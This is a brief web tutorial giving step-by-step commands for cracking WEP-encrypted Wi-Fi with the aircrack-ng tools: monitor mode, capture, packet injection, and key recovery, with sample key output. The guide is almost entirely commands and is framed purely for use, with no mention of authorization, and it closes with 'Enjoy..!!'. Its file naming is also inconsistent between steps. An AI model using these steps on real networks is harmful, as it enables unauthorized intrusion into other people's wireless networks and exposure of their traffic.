How To Crack Wifi With Linux(WEP Networks)

Before we start.

I would recommend to Install Kali Linux on your PC.

WEP Cracking.

WEP is very easy and fast to crack. Here are the steps:-

• Put your Wireless Interface into Monitor Mode:

                airmon-ng start wlan0

• Get Info from the Available Networks:

                airodump-ng mon0

• Select one network that uses WEP encryption. In our Example the network is named SKIDHACKER. Now, get more info on the specific Network:

                     airodump-ng -c channel -w filetosave –bssid macaddrs mon0

(‘channel’ is the Channel Number) (‘filetosave’ is the file that airodump-ng will save its data) (‘macaddrs’ is the MAC Address of the Network) —> All this info is provided by the command used in Step 2.

• To boost the proccedure type on a new terminal:

               aireplay-ng -1 0 -a bssid mon0

(‘bssid’ is the MAC Address of the Network)

• When this command is done, capture packets by typing:

                    aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b bssid mon0

(‘bssid’ is the Networks MAC Address)

• When the above command gets about 20.000 – 30.000 packets you are now able to crack the network by typing:

                    aircrack-ng filename.cap

(where instead of ‘filename’.cap you enter the file that aireplay-ng saved at your current directory – This file is named wep-x.cap –x is a number, starting from ’01′, then ’02′ etc….–) (Instead of the ‘wep-01.cap’ you can use the ‘wep*.cap’ as in the example to ‘Auto-Select’ the file)

• When aircrack-ng finds the key it will display something like:

                    KEY FOUND! [ 12:34:56:78:90 ]

(In this example our key is ’1234567890′)

• When Finished, make sure you put your wireless interface back to original Mode by typing:

                    airmon-ng stop wlan0

Enjoy..!!
